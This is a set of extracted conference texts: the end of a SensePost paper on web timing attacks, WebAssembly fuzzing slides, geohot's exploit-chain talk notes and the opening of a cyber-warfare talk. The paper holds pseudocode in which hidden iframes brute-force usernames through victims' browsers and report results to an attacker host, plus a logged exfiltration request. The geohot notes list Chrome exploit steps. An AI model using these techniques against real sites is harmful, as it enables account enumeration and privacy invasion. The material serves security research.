seconds.. [*] Trying username CHARL 0.0 seconds.. [*] Trying username SENSEPOST 0.0 seconds.. [*] Trying username TESTING 0.0 seconds.. [*] Trying username HAH 0.0 seconds.. [*] Trying username HO 0.0 seconds.. Figure 18: Time-based username brute-force tool 11 Since Bob is logged in, his iframe loads his LinkedIn start page, informing him of new connections, updates on friends, and the variety of other notifications pro- vided on a social networking site, which causes a rela- tively long load time of (say) 300ms. Carol also visits Alice’s page and she too has her LinkedIn profile loaded in an invisible iframe. However, since Carol is not logged into LinkedIn her malicious iframe is simply redirected to a tiny page that reads ‘Please Login’. Her iframe completes loading in (say) 50ms. Both scripts compute the time taken for the page to load and promptly report back to Alice who is able to deduce that while Bob is logged in, Carol is not. The attackers challenge in such a situation (inline with most remote timing attacks) is the uncertain line latency that could affect either Carol or Bob. If Alice simplistically decided that any user who reported a load time greater 200ms as logged in, then she would receive a false positive when Dean logged in from a bandwidth- challenged country like South Africa. Dean’s iframe would redirect him to the login screen too, but since he has high latency on his line his login page takes 400ms to load and the method would fail. To overcome this we make use of a second request, which Bortz referred to as a reference site [13]. The attack is altered and is described below: Bob visits Alice’s site, which causes two iframes to load invisibly in his browser. One of the iframes makes a request for a static page on the LinkedIn site that is accessible to both members and non-members. (We call this the base page.) The second iframe attempts to access a page only available to members (we call this the login page). By timing both page loads we are able to obtain a value of load time relative to both requests. I.e. irrespective of how slow the victim’s line is, if he is logged in to LinkedIn his login page always loads 1.5 times longer than the time it takes for the base page to load. Based on this ratio, Alice is now able to determine with a high degree of certainty whether a visitor to her site is indeed logged into LinkedIn or not. This is demonstrated using a tiny piece of script and a local South African Freemail service. The victim visits a site under the attacker.s control (https://secure- .sensepost.com/mH/time-mailbox.html). The site- loads four iframes: Iframe1 is used for demo feedback, Iframe2 (tiny) is used to communicate with the at- tacker, Iframe3 and iframe4 are the base page and lo- gin page respectively (all four iframes are shown in Fig- ure 19). The code on the attacker.s page does the fol- lowing: • Fetch the base page (default webmail login screen) • Fetch the login page (the inbox page available to members) • If this is the first load then refresh this page (this is done to ensure that cached pages do not affect load times) • Fetch the base page (default webmail login screen) • Fetch the login page (the inbox page available to members) If the user is currently not logged in, the login page (In- box page) will load in almost the same amount of time as the base page (since it is tiny – and simply tells the user he has not logged in.) This is shown in Figure 20. If the user is, however, logged in, his Inbox takes much longer to load (relative to the base page) allowing the script to deduce that the user is indeed logged in to his mailbox account, as depicted in Figure 21. If the user is logged into webmail, his inbox takes much longer to load (relative to the base page) allowing the script to deduce that the user is indeed logged in to his mailbox account. During the loading of this attack page, the second (tiny) iframe was used to pass timing information back to the attacker’s webserver, revealing the following line in the attacker’s server logs, indicating that the user is logged in: box.victim.com - - [30/Jun/2007:01:04:05 +0200] "GET /mH/timing/User is LoggedIn- =1.283093960892888 HTTP/1.1" 7 Combining Cross-Site Timing and Traditional Web Applica- tion Timing Attacks In Section 6 we showed an attacker is able to determine the load time of a page from a client’s point of view with relative ease and, since we have previously demon- strated the ability to time the loading of a web page, an attacker should be able to use a victim to launch brute force attacks against a site that leaks information via timing. To demonstrate this we conducted the following ex- periment. http://bank.sensepost.com was created with a login page that allows an attacker to enumer- ate valid logins through timing. A failed login attempt on a valid user account took 1ms longer than a failed login attempt on an account that does not exist. The malicious site hosting the JavaScript was http://ali- ce.sensepost.com; a synopsis of the code is given in Figure 22. In this example, the browser’s activities were instrumented, effectively allowing the victim to see all of the activity going on in his browser. Note that for every login attempt, two iframes are created in order for us to obtain the time of the form submission and the base page. The result is that when Bob decodes to visit Al- ice’s page (http://alice.sensepost.com), JavaScript loads the iframes. Bob’s browser continues to try all of the names in the user-list until it determines (through timing) that a valid username is found. The script then reports back to Alice that a username has been found. 12 Figure 19: Cross-site timing iframes setup Figure 20: Cross-site timing iframes: user is logged out Figure 21: Cross-site timing iframes: user is logged in for eachusername: Create iframe for base page (base time is how long it takes to load) Create iframe for login page (login time is how long it takes to load) if (ratio of base time to login time indicates a valid user) { print on screen Valid User //Clearly only for debugging direct another hidden iframe to report valid user to attacker (alice.sensepost.com) } Figure 22: Browser-based brute-force timing synopsis 13 Figure 23: Visible iframes showing browser-base brute-force timing attack 14 A screenshot of the attack is shown in Figure 23, ob- serve the instrumented iframe in the top left, indicating which usernames appear valid. The implications of this attack are clear: by simply browsing to Alice’s site, Bob’s browser has been turned into a bot capable of brute-forcing http://bank.sense- post.com and reporting back to Alice with the results. Due to the reflected nature of the attack, the bank cannot identify Alice without examining the malicious script or Bob’s machine. During this round of testing one additional compli- cation was discovered. The Date() function in Java- Script returns its time in milliseconds which is some- times not sufficiently granular. Since any timer lacks the ability to detect time differences that fall below its clock resolution and requests over networks conceiv- ably take less than a millisecond, another solution was required to provide timing information. In 2003, Kin- dermann [19] documented how many modern browsers allow one to call Java classes from within JavaScript code. Both Grossman [20] and pdp Architect [21] made use of this technique to obtain a browser’s actual IP Address. Using this same technique, it was possible to make use of the nanoTime() method within the standard java.lang.System class to provide a timer that returns time to the nearest nanosecond instead of millisecond. This resolution was sufficient for our testing. In compiling this paper, we tested Cross Site Re- quest Attacks against sites vulnerable to timing attacks using GET requests. However, we are fairly confident that this technique can be trivially extended to attack forms that require POST requests too, by populating the form using JavaScript and then calling the docu- ment.form.submit() function. Of far more interest is the ability to insert arbitrary headers into the user’s request. This is an area of ongoing research and the authors believe efforts in this area will bear fruit (with- out the use of additional technologies such as Flash). 8 Distributed Cross-Site Request Timing In the previous section, an attack by Alice against a bank was reflected through innocent Bob. Consider cloning Bob hundreds or even thousands of times; Al- ice’s site is indeed that popular. Now, Alice gets smart and doesn’t hand out the same username lists to ev- ery reflector; she divides her list and distributes a part to each victim. In effect, Alice is in control of a dis- tributed brute-force tool focused in a single site. 6 If the session ID of the site is passed as a request param- eter instead of storied in a cookie, it becomes a target for distributed brute-forcing (although we concede that 6Thoughts of a Distributed Denial-of-Service attack launched from unknowing browsers will not be pondered further in this paper. the likelihood of ’striking it rich’ is vanishingly small for a decent session ID keyspace.) However, login page attacks such as those described in Section 5 are cer- tainly viable. Where the session ID keyspace is small, the following attack should be successful. The attacker examines the site and determines the following: • base page: https://secure.bank.com/login/- login.asp (load time 5ms) • login page: https://secure.bank.com/balance/- <session-id>/all-accounts (load time 50ms if session-id is valid) • login page: https://secure.bank.com/balance/- <session-id>/all-accounts (load time 6ms if session-id is invalid (returns to login-page)) (The load time delta noted above will be entirely common- place on most sites today as demonstrated earlier.) The attacker now places his malicious script on a popular forum, or embeds it within a popular page where he hopes to provoke the ‘Slashdot effect’, where a site is deluged with requests because it was to linked to, from Slashdot. According to rough estimates, the Slashdot effect seems to result in about 200 hits per minute when the effect is at its peak. Using a slight vari- ation on the attack described above (alice.sensepost.com, bob.sensepost.com and bank.sensepost.com) we find that an attacker’s site is able to hand off requests to every client who visits his page effectively making each of the clients / visitors to his site a drone bruteforcing session- ids on the target (bank.com). The attacker would then wait, until one (or several) of his victims reported a session ID with a load time that indicated a valid session. The attacker would then be able to brute-force the session ID space in a relatively short space of time at a low relative cost time him or her. 9 Conclusion Timing as a method of attack has been part of the hack- ers toolkit for many years. Recently trends indicate that targets for timing attacks are moving away from solely crypt-analytic, towards other breaches of security such as privacy invasion. In this paper, we examined a brief history of timing attacks, and provided back- ground on the two important timing papers in the field of web applications. With this as a basis, an exploration of timing attacks and the Web commenced. Starting with Perl regular ex- pression insertion, we showed how basic timing attacks might be conducted in web applications. The next tar- get was SQL Server, where we showed how to replace DNS tunnels with timing channels when extracting ei- ther command execution output or data. 15 Moving to recent attack vectors, a real-world sce- nario was described where timing differences in a sys- tem that used crypto devices were obvious enough to enumerate users. Cross-site timing was explained and explored, and a proof-of-concept reflected brute-force client was developed that used high-resolution timers to accurately brute-force sites. Finally, we discussed the possibility of building distributed attacks using cross- site timing. The Cross-Site field is rapidly expanding as new at- tack vectors are discovered and fleshed out. Timing is an emerging threat in this arena and the difficulties faced by developers in addressing the issue make it likely that an increase in timing vulnerabilities will be seen. References [1] Jean-Francois Dhem, Francois Koeune, Philippe- Alexandre Leroux, Patrick Mestr´e;, Jean-Jacques Quisquater, and Jean-Louis Willems. A prac- tical implementation of the timing attack. In CARDIS ’98: Proceedings of the The International Conference on Smart Card Research and Applica- tions, pages 167–182, London, UK, 2000. Springer- Verlag. [2] Paul C. Kocher. Timing attacks on implementa- tions of diffie-hellman, rsa, dss, and other systems. In CRYPTO ’96: Proceedings of the 16th Annual International Cryptology Conference on Advances in Cryptology, pages 104–113, London, UK, 1996. Springer-Verlag. [3] David Brumley and Dan Boneh. Remote timing attacks are practical. In Proceedings of the 12th USENIX Security Symposium, August 2003. [4] Whitfield Diffie and Martin E. Hellman. New di- rections in cryptography. IEEE Transactions on Information Theory, IT-22(6):644–654, November 1976. [5] R. L. Rivest, A. Shamir, and L. Adleman. A method for obtaining digital signatures and public- key cryptosystems. Commun. ACM, 26(1):96–99, 1983. [6] Colin Percival. Cache missing for fun and profit. 2005. [7] OpenSSL: The Open Source toolkit for SSL/TLS. [8] Daniel J. Bernstein. Cache-timing attacks on AES, 2004. [9] Edward W. Felten and Michael A. Schneider. Tim- ing attacks on web privacy. In CCS ’00: Proceed- ings of the 7th ACM conference on Computer and communications security, pages 25–32, New York, NY, USA, 2000. ACM Press. [10] J. Grossman and T. Niedzialkowski. Hacking in- tranets from the outside: Javascript malware just got a lot more dangerous. August 2006. [11] SPI Labs. Detecting, analyzing, and exploiting in- tranet applications using javascript. August 2006. [12] Mozilla Project. The same origin policy. http://www.mozilla.org/projects/security/ components/same-origin.html. [13] Andrew Bortz, Dan Boneh, and Palash Nandy. Ex- posing private information by timing web applica- tions. In WWW ’07: Proceedings of the 16th in- ternational conference on World Wide Web, pages 621–628, New York, NY, USA, 2007. ACM Press. [14] Chris Anley. Advanced sql in- jection in sql server applications. http://www.ngssoftware.com/papers/ advanced sql injection.pdf. [15] Cesar Cerrudo. Datathief. http://www.argeniss.com/research/ HackingDatabases.zip. [16] Sec-1. Automagic sql injector. http://scoobygang.org/automagic.zip. [17] nummish and Xeron. Absinthe. http://www.0x90.org/releases/absinthe/. [18] icesurfer. sqlninja. http://sqlninja.sourceforge.net/. [19] Lars Kindermann. Myaddress java applet. http://reglos.de/myaddress/MyAddress.html. [20] Jeremiah Grossman. Goodbye applet, hello nat’ed ip address. http://jeremiahgrossman.blogspot.com/2007/ 01/goodbye-applet-hello-nated-ip-address .html. [21] pdp Architect. getnetinfo. http://www.gnucitizen.org/projects/atom #comment-2571. 16
pdf
A Journey Into Fuzzing WebAssembly Virtual Machines Patrick Ventuzelo #BHUSA  @BlackHatEvents #BHUSA @BlackHatEvents Patrick Ventuzelo (@Pat_Ventuzelo) ● Founder & CEO of FuzzingLabs | Senior Security Researcher ○ Fuzzing and vulnerability research ○ Development of security tools ● Training/Online courses ○ Rust Security Audit & Fuzzing ○ Go Security Audit & Fuzzing ○ WebAssembly Reversing & Analysis ○ Practical Web Browser Fuzzing ● Main focus ○ Fuzzing, Vulnerability research ○ Rust, Golang, WebAssembly, Browsers ○ Blockchain Security, Smart contracts ● Previously speaker at: ○ OffensiveCon, REcon, RingZer0, ToorCon, hack.lu, NorthSec, FIRST, etc. 2 #BHUSA @BlackHatEvents Introduction to WebAssembly 3 #BHUSA @BlackHatEvents What is WebAssembly? ● Binary instruction format for a stack-based virtual machine ○ Low-level bytecode ○ Compilation target for C/C++/Rust/Go/etc. ● Generic evolution of NaCl & Asm.js ● W3C standard ● MVP 1.0 (March 2017), MVP 2.0 (2022/2023) ● Natively supported in all major browsers ● WebAssembly goals: ○ Be fast, efficient, and portable ○ Easily readable and debuggable ○ Safe (using sandboxed execution environment) ○ Open and modulable 4 #BHUSA @BlackHatEvents How WebAssembly works? 5 Compilers .wasm WebAssembly Virtual Machine #BHUSA @BlackHatEvents Step 1: Compilation into WebAssembly module 6 Compilers .wasm WebAssembly Virtual Machine Source code & Compiler toolchains LLVM, Emscripten, Binaryen #BHUSA @BlackHatEvents WebAssembly Binary Format 7 Compilation binary file (.wasm) Rust C/C++ #BHUSA @BlackHatEvents Step 2: Execution by the WebAssembly VM 8 Compilers .wasm WebAssembly Virtual Machine Source code & Compiler toolchains LLVM, Emscripten, Binaryen Runtime & Host environments V8, wasmer, wasmtime #BHUSA @BlackHatEvents .wasm WebAssembly VM - Execution stages 9 WebAssembly VM #BHUSA @BlackHatEvents 1. Decoding/Parsing: The binary format is parsed and converted into a module .wasm WebAssembly VM - Decoding/Parsing 10 WebAssembly VM 1 #BHUSA @BlackHatEvents 1. Decoding/Parsing: The binary format is parsed and converted into a module 2. Validation: The decoded module undergoes validation checks (such as type checking) .wasm WebAssembly VM - Validation 11 WebAssembly VM 1 2 #BHUSA @BlackHatEvents 1. Decoding/Parsing: The binary format is parsed and converted into a module 2. Validation: The decoded module undergoes validation checks (such as type checking) 3. Instantiation: Creation of a module instance with all the context instantiated .wasm WebAssembly VM - Instantiation 12 WebAssembly VM 1 2 3 #BHUSA @BlackHatEvents WebAssembly VM - Instantiation 13 Host (OS, Browser) - Shared wasm instance (VM) - immutable Functions 0 1 2 3 Execution stack 3 0 1 1 2 Indirect function table memories globals Tables #BHUSA @BlackHatEvents 1. Decoding/Parsing: The binary format is parsed and converted into a module 2. Validation: The decoded module undergoes validation checks (such as type checking) 3. Instantiation: Creation of a module instance with all the context instantiated 4. Execution/Invocation: Exported functions are called by the host over the module instance .wasm WebAssembly VM - Execution/Invocation 14 WebAssembly VM 1 2 3 4 #BHUSA @BlackHatEvents Step 2: Execution by the WebAssembly VM 15 Compilers .wasm WebAssembly Virtual Machine Source code & Compiler toolchains LLVM, Emscripten, Binaryen Runtime & Host environments V8, wasmer, wasmtime #BHUSA @BlackHatEvents WebAssembly VM - Use-cases ● Standalone VM (server) ○ Edge computing ○ Back-end apps ■ Nodejs ○ Mobile & Desktop apps ○ IoT & Embedded OS ○ Blockchain ■ Polkadot, Substrate, Cosmos, NEAR ■ Spacemesh, Golem, EOS, DFINITY ● Browser (client) ○ Video, Audio & Image processing ○ Videos Games ○ Complexe web apps ■ Autocad, Google Earth ■ Photoshop, Shopify, Figma ○ OS Emulation 16 #BHUSA @BlackHatEvents Focus of this talk: WebAssembly VM 17 Compilers .wasm WebAssembly Virtual Machine Runtime & Host environments Source code & Compiler toolchains #BHUSA @BlackHatEvents 1. Decoding/Parsing: The binary format is parsed and converted into a module 2. Validation: The decoded module undergoes validation checks (such as type checking) 3. Instantiation: Creation of a module instance with all the context instantiated 4. Execution/Invocation: Exported functions are called by the host over the module instance .wasm Goal: Find bugs on every stage on different VMs! 18 WebAssembly VM 1 2 3 4 #BHUSA @BlackHatEvents 1. Coverage-guided fuzzing 19 #BHUSA @BlackHatEvents ● Coverage-guided fuzzing ○ Observe how inputs are processed to learn which mutations are interesting. ○ Save inputs to be re-used and mutated in future iterations. Fuzzing strategy: Coverage-guided fuzzing 20 Crashes Mutation Corpus .wasm Fuzzer Monitoring .wasm .wasm .wasm Coverage Target WebAssembly Virtual Machine #BHUSA @BlackHatEvents Input: WebAssembly Binary Format ● Module structure ○ Header: magic number + version ○ 11 Sections: may appear at most once ○ 1 custom section: unlimited 21 #BHUSA @BlackHatEvents Targets: Standalone VMs & parsing libraries 22 ● Targets (C/C++) ○ Binaryen: Compiler and toolchain libraries ○ WABT: The WebAssembly Binary Toolkit ○ Wasm3: WebAssembly interpreter ○ WAMR: WebAssembly Micro Runtime ○ WAC: WebAssembly interpreter in C ○ Radare2: Reverse engineering framework ○ Etc. #BHUSA @BlackHatEvents C/C++ Coverage-guided Fuzzing ● C/C++ Fuzzers ○ AFL: american fuzzy lop ○ Honggfuzz: Feedback-driven/evolutionary fuzzer ○ AFL++: AFL with community patches ● Complexity: None ○ Instrumentation using custom gcc/clang ○ Overwrite CC or CXX flags ○ Prefered AFL++ instead of vanilla AFL 23 #BHUSA @BlackHatEvents Results: ~46 bugs/vulnerabilities ● Binaryen ○ Out-of-bound read - issue ● WABT ○ Assertion errors - issue#1, issue#2, issue#3, issue#4 ○ Uncontrolled memory allocation - issue ● WAMR ○ Null pointer dereference - issues (5) ○ Heap out of bounds read - issues (29) ○ Assertion errors - issue#1, issue#2 ○ Heap out of bounds write - issue ○ Segmentation fault - issue ● Radare2 ○ Heap out of bounds read - issue ○ Heap out of bounds read - issue 24 #BHUSA @BlackHatEvents ● Reusing corpora between all targets Fuzzing strategy: Improvements #1 25 Mutation .wasm Fuzzers Monitoring .wasm .wasm .wasm Coverage Targets WABT Binaryen wasm3 … Crashes Corpus #BHUSA @BlackHatEvents ● Reusing corpora between all targets ● Add crashing files inside the existing corpus ○ It might make crash some other targets Fuzzing strategy: Improvements #1 26 Mutation .wasm Fuzzers Monitoring .wasm .wasm .wasm Coverage Targets WABT Binaryen wasm3 … Crashes Corpus #BHUSA @BlackHatEvents 2. In-process fuzzing 27 #BHUSA @BlackHatEvents ● In-Process fuzzing ○ Fuzz a specific entry point of the program in only one dedicated process ○ For every test case, the process isn't restarted but the values are changed in memory. Fuzzers Fuzzing strategy: In-process fuzzing 28 Mutation .wasm Monitoring .wasm .wasm .wasm pywasm Coverage … Crashes Corpus wasmtime wasmer #BHUSA @BlackHatEvents Targets: Standalone VMs & parsing libraries 29 ● Targets (Rust) ○ Wasmer: WebAssembly Runtime supporting WASI and Emscripten ○ Wasmtime: A standalone runtime for WebAssembly ○ wain: WebAssembly interpreter written in Rust from scratch ○ Wasmparser: Decoding/parsing library of wasm binary files ○ wasmi: WebAssembly (Wasm) interpreter. ○ Cranelift: JIT compiler for wasm ○ Lucet: Sandboxing WebAssembly Compiler ○ Etc. ● Targets ○ pywasm: A WebAssembly interpreter written in pure Python ○ webassemblyjs: JavaScript Toolchain for WebAssembly #BHUSA @BlackHatEvents Rust In-process fuzzing ● Rust Fuzzers ○ cargofuzz: A cargo subcommand for fuzzing with libFuzzer ○ honggfuzz-rs: Fuzz your Rust code with Honggfuzz! ○ afl.rs: Fuzzing Rust code with AFLplusplus ● Complexity: Low ○ You need to write some fuzzing harnesses ○ honggfuzz-rs is my favorite (faster and better interface) ○ New fuzzer cargo-libafl is promising 30 #BHUSA @BlackHatEvents Python/JS In-process fuzzing ● Fuzzers ○ Atheris: Coverage-guided Python fuzzing engine based on Libfuzzer ○ jsfuzz: Coverage-guided fuzzer for javascript/nodejs packages ● Complexity: Low ○ You need to write some fuzzing harnesses ○ Learn how to use different fuzzing frameworks 31 #BHUSA @BlackHatEvents Results: ~62 bugs/vulnerabilities ● Results ○ Wasmer - issues (22) ○ Cranelift - issues (2) ○ Wasmparser - issues (3) ○ Wasmtime - issues (17) ○ wain - issues (4) ○ lucet - issues (2) ○ Pywasm - not reported (10) ○ webassemblyjs - issue ● Type of bugs found ○ Panicking macros ○ Index out of bound panic ○ Assertion failure ○ Unwrapping panics ○ Arithmetic overflows ○ Out of Memory (OOM) error ○ Unhandled exception (Python) 32 #BHUSA @BlackHatEvents ● Improving the corpora by gathering valid inputs/seeds from internet ○ WebAssembly/spec: WebAssembly core testsuite ○ Existing WebAssembly fuzzing corpora - here, here or there Fuzzers Fuzzing strategy: Improvements #2 33 Mutation .wasm Monitoring .wasm .wasm .wasm pywasm Coverage … Crashes Corpus wasmtime wasmer #BHUSA @BlackHatEvents 3. Grammar-based fuzzing 34 #BHUSA @BlackHatEvents Fuzzing strategy: Improvements #3 ● Add new fuzzing harnesses to target validation entry points. ○ Module decoding will also be called by the validation function 35 #BHUSA @BlackHatEvents Main issue: Strict module validation mechanism ● The decoded module undergoes validation checks (such as type checking) ○ Validation mechanism is documented in the specs (here) ■ Conventions ■ Types ■ Instructions ■ Modules ● Different implementations ○ wasm-validator tool (binaryen - C/C++) ○ wasm-validate tool (wabt - C/C++) ○ WebAssembly .validate (JS API - JavaScript) ● Further reading: ○ WebAssembly Core Specification: Validation Algorithm - link ○ Mechanising and Verifying the WebAssembly Specification - link ○ “One pass verification process” explains - link 36 #BHUSA @BlackHatEvents ● Grammar-based fuzzing ○ Grammar allows for systematic and efficient test generation, particularly for complex formats. ○ Convert WebAssembly text files into wasm binaries and add them to the corpora ■ Found interesting wat files online, create and generate custom wat files Fuzzers Standalone VMs: Grammar-based fuzzing 37 Mutation .wasm Monitoring .wasm .wasm .wasm pywasm Coverage … Crashes Corpus wasmtime wasmer .wat .wat .wat #BHUSA @BlackHatEvents Input: WebAssembly Binary Format & Text Format 38 Compilation binary file (.wasm) wasm text format (.wat) Rust C/C++ #BHUSA @BlackHatEvents Input: WebAssembly Text Format ● Standardized text format ○ File extensions: .wat ○ S-expressions (like LISP): Module and section definitions ○ Linear representation: Functions body and Low-level instructions ● MVP Instruction set ○ Small Turing-complete ISA: ~172 instructions ○ Data types: i32, i64, f32, f64 ○ Control-Flow operators ■ Label block loop if else end ■ Branch br br_if br_table ■ Function call call call_indirect ○ Memory operators load, store ○ Variables operators local, global ○ Arithmetic operators + - * / % && >> sqrt ○ Constant operators i32.const ○ Conversion operators wrap trunc convert 39 #BHUSA @BlackHatEvents MVP 1.0 Instruction Set Architecture (ISA) 40 i32 i64 f32 f64 #BHUSA @BlackHatEvents Results: ~6 bugs/vulnerabilities ● Found some new bugs by accident during conversion from text format (wat) to binary format (wasm) ● Wasmprinter (Rust) ○ Out of Memory (OOM) error - issue ● WABT (C/C++) - wasm2wat, wast2json ○ Assertion failure - issues (5) 41 #BHUSA @BlackHatEvents Fuzzing strategy: Improvements #4 ● Create edge case modules ○ Duplicate sections (unique & customs) ○ Redefinition of exported/imported functions & memory ○ Change sections ordering ○ Create a lot of sections, elements, etc. ○ Inject unusual values for int/float ● Create a polyglot WebAssembly module ○ Valid HTML/JS/wasm file ■ Data section injection ■ Custom section injection ○ Detailed blogpost here 42 #BHUSA @BlackHatEvents 4. Structure-aware fuzzing 43 #BHUSA @BlackHatEvents ● Structure-aware fuzzing ○ Generate semi-well-formed inputs based on knowledge of structure, file format, or protocol. ○ Modules are generated, without losing time in parsing, with fuzzy values placed at strategic locations. Fuzzers Fuzzing strategy: Structure-aware fuzzing 44 Mutation .wasm Monitoring .wasm .wasm .wasm pywasm Coverage … Crashes Corpus wasmtime wasmer .wat .wat .wat Generation #BHUSA @BlackHatEvents Standalone VMs (Rust): Structure-based fuzzing ● Fuzzers ○ Arbitrary trait: The trait for generating structured data from arbitrary, unstructured input. ○ wasm-smith: A WebAssembly test case generator. ● Targets (all) ○ Rust code directly via in-process fuzzing (cargofuzz, honggfuzz-rs, etc.) ○ Other targets via shared corpora ● Complexity: Low/Medium ○ Integrating the arbitrary trait can be challenging ○ Wasm-smith is really good, fast and easy to use ● Results: 0 new direct bugs ○ Generate interesting inputs that will be mutated later ○ Helps to increase coverage 45 #BHUSA @BlackHatEvents 5. Differential fuzzing 46 #BHUSA @BlackHatEvents Fuzzing strategy: Improvements #5 ● Add new fuzzing harnesses to target instantiation phases. ○ Create simple imports and provide them to Instance constructors. 47 #BHUSA @BlackHatEvents Fuzzing strategy: Differential fuzzing 48 ● Differential fuzzing ○ Observe if two program implementations/variants produce different outputs for the same input. ○ Really efficient way to find logic bugs, unimplemented cases, etc. ○ Famous differential fuzzing projects ■ cryptofuzz, beacon-fuzz .wasm .wasm .wasm .wasm .wasm wasmer wabt wasmtime binaryen pywasm #BHUSA @BlackHatEvents Differential fuzzing ● Type of bugs: ○ Logic bugs or unimplemented features ○ Consensus bugs (critical for blockchains) ● Fuzzers: Just a Python or Bash script is working ● Targets: All of them ● Complexity: Low ○ No need for any bindings if youʼre using threads/subprocesses ○ A lot of false positives due to WebAssembly feature supports ● Results: 2 bugs/vulnerabilities ○ [wabt] Incorrect validation/rejection - issues 49 #BHUSA @BlackHatEvents What about browsers? 50 #BHUSA @BlackHatEvents Targets: Browserʼs WebAssembly VMs ● In browsers, the WebAssembly runtime is part of the JavaScript engine. ● Targets ○ SpiderMonkey (Firefox) ○ JavaScriptCore (Safari) ○ V8 (Google chrome) 51 #BHUSA @BlackHatEvents Targets: Browserʼs WebAssembly VMs ● In browsers, the WebAssembly runtime is part of the JavaScript engine. ● Targets ○ SpiderMonkey (Firefox) ○ JavaScriptCore (Safari) ○ V8 (Google chrome) 52 #BHUSA @BlackHatEvents WebAssembly JavaScript APIs 53 ● Complete documentation on Mozilla MDN for WebAssembly ○ Methods/Constructors ○ Browser compatibility table #BHUSA @BlackHatEvents WebAssembly JavaScript APIs 54 ● WebAssembly.Instance ○ Stateful, executable instance of a WebAssembly.Module. ● WebAssembly.instantiate ○ Compile and instantiate WebAssembly code. ● WebAssembly.instantiateStreaming ○ Compiles and instantiates a WebAssembly module directly from a streamed underlying source. ● WebAssembly.Memory ○ Accessible and mutable from both JavaScript and WebAssembly. ● WebAssembly.Global ○ Global variable instance, accessible from both JavaScript and importable/exportable across one or more WebAssembly.Module instances. ● WebAssembly.Table ○ Array-like structure accessible & mutable from both JavaScript and WebAssembly. #BHUSA @BlackHatEvents Fuzzing strategy: Grammar-based fuzzing ● Grammar-based fuzzing ○ Javascript files are generated by the fuzzer based on a given grammar ○ We are generating sequence of WebAssembly JavaScript APIs calls ○ Fuzzers ■ Dharma: Generation-based, context-free grammar fuzzer - wasm.dg ■ Domato: DOM fuzzer ■ Fuzzilli4wasm: Fuzzer for wasm fuzzing based on fuzzilli ● Targets ○ SpiderMonkey (Firefox) ○ JavaScriptCore (Safari) ○ V8 (Google chrome) ● Complexity: Medium ○ You need to manually write grammars ○ Itʼs time-consuming ● Results: Some bugs & duplicates ○ Not public 55 #BHUSA @BlackHatEvents Targets: WebAssembly JIT engines ● Spidermonkey (Firefox) ○ WASM-Baseline: fast translation to machine code ○ WASM-Ion: wasm to MIR translator ○ Cranelift: low-level retargetable code generator ● JavaScriptCore (Safari) ○ LLInt: Low Level Interpreter ○ BBQ: Build Bytecode Quickly ○ OMG: Optimized Machine-code Generator ● V8 (Google chrome) ○ Liftoff: baseline compiler for WebAssembly ○ TurboFan: optimizing compiler 56 #BHUSA @BlackHatEvents Fuzzing strategy: Differential fuzzing 57 .wasm res: 42 arg: 42 arg: 42 res: 56 #BHUSA @BlackHatEvents ● Type of JIT bugs ○ Memory corruption bugs in the compiler ○ Incorrect optimization ○ Bugs in code generators ● Targets ○ WASM-Baseline vs WASM-Ion vs Cranelift ○ LLInt vs BBQ vs OMG ○ Liftoff vs TurboFan ● Complexity: Hard ○ You need to generate valid wasm modules ○ You can force optimization using JS loops ● Results: 0 bugs/vulnerabilities (WIP) ○ JIT compilers for WebAssembly are really simple for the moment ○ Not a lot of public research, itʼs still an early stage idea but some non-public bugs have been reported by researchers. Fuzzing strategy: Differential fuzzing 58 #BHUSA @BlackHatEvents Results & Closing Remarks 59 #BHUSA @BlackHatEvents ● Some numbers ○ ~117 bugs found ■ Rust: 53, C/C++: 53 ■ Python: 10, JavaScript: 1 ■ Some non-public bugs ○ Final corpora size: ~2M wasm modules ○ Total research time: 2 years ○ Active research time: 6 months full-time ○ ~84 fuzzing harnesses created ○ WARF: WebAssembly Runtimes Fuzzing ● Challenges ○ Complex to keep everything up-to-date ○ Not the same WebAssembly features are supported by the VMs ○ Need to adapt to multiple fuzzing frameworks and languages ● Future / Next steps ○ Add new targets and fuzzing harnesses (Go, Java, etc.) ○ Update fuzzing harnesses for WebAssembly MVP 2.0 Conclusion & Final results 60 #BHUSA @BlackHatEvents Thanks for your time! Any questions? ● Twitter: @Pat_Ventuzelo ● Mail: [email protected] 61 SLIDES
pdf
Why are our tools terrible? George Hotz (geohot) (and a bit about other things) “geohot” pwnium • ab.__defineGetter__("byteLength", function() { return 0xFFFFFFFC; }); • spawn crosh with fake messages • send commands to crosh by spoofing the window id • try_touch_experiment %s command injection • race condition in mount to get root • magic symlinks to persist towelroot • CVE-2014-3153 found by comex, 6/7/14 • futex() syscall, break out of Linux sandbox • (yes, this would’ve worked for pwnium) • towelroot, universal android root • Used by 50 million people “tomcr00se” My 2014 GDB is Terrible Think of the first time you used IDA… …now think of what is possible. Version Control QIRA Where was eip? DEMO qira.me Type Information SAT Solvers Rewind Forking Future of the Project Companies spend millions of dollars to make puzzles for me to solve But the puzzles are getting tedious and repetitive My 2015 I’m retired from hacking Questions? https://soundcloud.com/tomcr00se https://github.com/BinaryAnalysisPlatform/qira
pdf
“I am walking through a city made of glass and I have a bag full of rocks” (Dispelling the myths and discussing the facts of Global Cyber-Warfare) Jayson E. Street, CISSP, GSEC, GCIH, GCFA, IEM, IAM, ETC… Let go of my EGO • Lets start out with a little about yours truly. • [email protected] http://F0rb1dd3n.com Yes Sun Tzu was a hacker! • Sun Wu (Tzu) “Ping-fa”(The Art of War) • “Thus it is said that one who knows the enemy and knows himself will not be endangered in a hundred engagements. One who does not know the enemy but knows himself will sometimes be victorious, sometimes meet with defeat. One who knows neither the enemy nor himself will invariably be defeated in every engagement!” Contents • INTRO • Caveats • History & Geography lessons • Players and Haters • You’re involved? YES!! • Discussion I read it on the Internets • Report VS. Investigate Facets of Perspective VS. Meet your new neighbors (and they hate you) The Roster for the B1G Game • China • Russia • Jihadist • More players • USA (and friends) CHINA (The Terrell Owens of cyber-war) • Definition of Red Hacker Alliance: • A Chinese nationalist hacker network, made up of many independent web sites directly linked to one another in which individual sites educate their members on computer attack and intrusion techniques. The group is characterized by launching coordinated attacks against foreign governments and entities to protest actual and perceived injustices done to their nation. There is a growing trend that suggests monetary motivations are becoming as important as patriotic passion. They started without us • 1997 Formation of the Green Army Founded by GoodWell (China) • 1998 Anti-Chinese riots in Indonesia provide the catalyst for the creation of the Red Hacker Alliance. • 2000 Honker Union of China founded by Lion China Eagle Union founded by Wan Tao Javaphile founded by Coolswallow and Blhuang • 2001 Sino-US cyber conflict 1000 web defacement protesting death of Chinese pilot. 73% of all statistics are made up. (But still OUCH) • Visiting each of the 90 sites that kept statistics (out of 250 sites looked at) and then adding up the total number of registered members showed 